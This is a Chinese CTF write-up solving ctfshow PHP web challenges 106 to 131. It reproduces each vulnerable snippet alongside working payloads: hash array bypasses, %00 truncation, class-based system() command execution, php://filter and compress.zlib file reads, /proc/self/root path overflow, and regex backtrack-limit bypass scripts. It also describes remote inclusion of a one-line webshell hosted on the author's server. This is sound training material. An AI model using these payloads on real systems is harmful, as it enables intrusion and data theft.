web106
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
|
数组和转为0e都行,这里图省事使用了数组绕过。
web107 parse_str
1 2 3 4 5 6 7 8 9 10 11 12 13
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
}
|
parse_str
函数会存储值作为变量
因此题目的意思是将v1中flag值与v3中的MD5值相同,那么:
GET:?v3=hello
POST:v1=flag=5d41402abc4b2a76b9719d911017c592
web108 ereg null绕过和intval
1 2 3 4 5 6 7 8 9 10 11 12
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
ereg
匹配函数,题目意思为c中只能出现字符,函数在NULL截断漏洞,%00截断绕过
strrev
反转字符串
0x36d对应的数值为877,需要反转一次变为778。
组合起来payload:a%00778
web109 异常处理类命令执行
异常处理类:http://c.biancheng.net/view/6253.html
1 2 3 4 5 6 7 8 9 10 11
| highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
|
直接构造反射类(并没有想到,反射类还是没有太弄懂)
?v1=ReflectionClass&v2=system("tac f*")
也可以用exception类,详情见题目下方链接。
Exception 异常处理类 payload: ?v1=Exception&v2=system('cat fl36dg.txt')
同理:?v1=mysqli&v2=system('tac fl36dg.txt')
这些都是因为类的tostring魔术方法导致的执行。
也就是初始化一个mysqli类,但是实际上这个类的初始化时候传参不止这一个,所以是初始化失败的,但是由于其内部有魔术方法__toString:
如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
这时候就可以echo出来了。
同样内部类Exception也是可以的,这个类会把传入的参数输出出来,也是由__toString方法。
备注:
反射类详情见web100方法二
web110 php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
https://www.php.net/manual/zh/class.filesystemiterator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
|
利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录
payload:?v1=FilesystemIterator&v2=getcwd
web111 引用变量和$GLOBALS 指针相关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
|
想要执行getflag函数,那么v1必须为ctfshow
,v2赋值为GLOBALS
,这里运用到了全局变量。
然后再将v2的值赋给v1,再接着getFlag函数,打印v1,v1为全局变量的时候,即可打印出flag
实在没看懂,我们看看以下解释:
假设现在有以下两个变量:
1 2 3
| $v1 = 'foo'; $v2 = 'bar'; $bar = 'i am bar';
|
现在调用 getFlag
函数,并将 $v1
和 $v2
作为引用参数传递给它:
在函数内部,"$$v1 = &$$v2;"
这一行代码将把 $v2
的引用赋值给了以 $v1
变量的值 'foo'
作为变量名的新变量。也就是说,在函数执行完毕后,我们得到了另一个变量 $foo
,它指向了和 $bar
相同的内存地址。
因此,如果我们在调用 getFlag
函数之后输出 $foo
变量的值,应该会得到 $bar
的值:
测试如下:
PS:byd我最开始还让gpt忽悠了,后来反应过来了,改回来了。再提醒一下,不要忘记编程语言的基础,=
是赋值,不是取等!
1 2 3 4 5 6 7 8 9 10 11
| <?php function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
$v1 = 'a'; $v2 = 'GLOBALS'; $$v1 = &$$v2; getFlag($v1,$v2); ?>
|
和指针类似,稍微理一下,也就是$a给予了和$GLOBALS相同的超全局变量。最后vardump的是$a。
备注
global和$GLOBALS:https://www.php.cn/php-weizijiaocheng-369541.html
web112
考点:php伪协议绕过is_file+highlight_file 对于php伪协议的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
可以直接读文件?file=php://filter/resource=flag.php
除此之外,还有几种特殊的编码方式
file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
(这个之前没见过,注意一下)
file=compress.zlib://flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
web113
https://www.cnblogs.com/meng-han/p/16803560.html#:~:text=ctfshow%20web112%20%28%E4%BC%AA%E5%8D%8F%E8%AE%AE%E7%BB%95%E8%BF%87is_file%E5%87%BD%E6%95%B0%29%20%24file%20%3D%20%24_GET%20%5B%20%27file%27,%7D%20else%20%7B%20echo%20%22hacker%21%22%20%3B%20%7D%20%E8%BF%99%E9%87%8C%E7%9A%84is_file%E5%87%BD%E6%95%B0%EF%BC%8C%E5%9C%A8%E4%BD%BF%E7%94%A8php%E7%9A%84%E4%BC%AA%E5%8D%8F%E8%AE%AE%E6%97%B6%E5%80%99%E4%BC%9A%E8%BF%94%E5%9B%9Efalse%EF%BC%8C%E9%99%A4%E4%BA%86file%3A%2F%2F%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%A4%96%E3%80%82
考点:目录溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
?file=compress.zlib://flag.php
除此之外,有个预期解:?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容。
原理:is_file函数能处理的长度有限,用/proc/self/root可以目录溢出
web114
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!";
|
这个直接使用?file=php://filter/resource=flag.php
就行
web115
考点:trim函数的绕过+is_numeric绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
trim函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| 语法 trim(string,charlist)
参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
|
测试程序:
1 2 3 4 5 6 7
| <?php for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }
|
发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。
num=%0c36
*web123、web125、web126
https://blog.csdn.net/miuzzx/article/details/109181768
考点:php变量不允许出现. 传入[代替_ $_SERVER[‘argv’]
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
第一个问题是php变量名是不允许点的使用的:
比如可以测试一下:
1 2 3 4 5 6 7
| <?php var_dump($_POST);
输入 CTF_SHOW.COM=1 返回 array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
|
另外有一个知识点,使用[
来代替下划线,具体原因未知,爆破脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function curl($url,$data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); curl_close($ch); return strlen($response); } $url="http://127.0.0.1/test.php"; for ($i=0; $i <=128 ; $i++) { for ($j=0; $j <=128 ; $j++) { $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123"; if(curl($url,$data)!=0){ echo $data."\n"; } } }
|
test.php:
1 2 3 4 5
| <?php if(isset($_POST['CTF_SHOW.COM'])){ echo 123; }
|
输出结果
CTF%5BSHOW.COM=123
另外
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
|
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");
将$flag赋值flag_give_me
就可以了。
payload如下:
1 2 3 4
| payload: get: $fl0g=flag_give_me; post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
|
非预期:
1 2 3
| post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
|
1 2 3
| get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
|
测试:
1 2 3 4 5 6 7 8
| <?php $a=$_SERVER['argv']; var_dump($a);
传入 a=1+fl0g=flag_give_me 结果如下 array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
|
原理:
1 2 3 4 5
| CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。
|
web127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
//特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
测试跑一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php function curl($url){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); return strlen($result); } for ($i=0; $i < 128; $i++) { $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1"; if(curl($url)!==0){ echo urlencode(chr($i))."\n"; } }
|
flag.php
1 2 3 4 5
| <?php if(isset($_GET['ctf_show'])){ echo 123; }
|
以下的这些字符可以代替_
1 2
| + _ [ . + 这里的加号在url中起到空格的作用
|
出去过滤掉的字符,可以使用空格实现
payload:ctf show=ilove36d
总结
这种题需要有fuzz的技术,得学一下这个php就脚本的写法。
web128
考点:gettext(”_”)函数的使用+查看所有变量get_defined_vars
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
|
连续两次调用,而且会检查f1函数名称,特殊字符的函数只有_
,所对应的函数为:
可以借由输出字符串
使用f1=_&f2=phpinfo
就可以查看到php信息
由于题目有include('flag.php')
可以直接输出所有变量:
payload:f1=_&f2=get_defined_vars
即可
web129
https://blog.csdn.net/miuzzx/article/details/109181768
考点:stripos
1 2 3 4 5 6 7 8
| error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
方法1 远程文件包含
一个方法是远程文件包含,在自己的服务器上写一句话木马,然后保存为txt文档,然后如下使用:
f=http://url/xxx.txt?ctfshow
测试一下:
在根目录写一个一句话木马:
注意,一定要能访问得到,放在对应www或者wwwroot目录下
然后简单测试一下:
能够获取到,但是不能够rce
不知道为什么。
方法2 直接使用伪协议
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
base64解密即可
方法3 目录穿越
/ctfshow/../../../../var/www/html/flag.php
web130、web131
考点:pregmatch最大回溯次数绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
直接用python脚本即可:
1 2 3 4 5 6 7 8 9
| import requests
url = r"http://44ff0304-988a-4fea-b5a4-4dcd7874d335.challenge.ctf.show/" data = { 'f': 'very' * 250000 + 'ctfshow' }
r = requests.post(url, data=data) print(r.text)
|
1 2
| <?php echo str_repeat('very', '250000').'36Dctfshow';
|
除此之外还可直接:f=ctfshow
后面接任意字符均可
或者使用空数组:f[]=ctfshow
但是131似乎就只能使用回溯超出做了。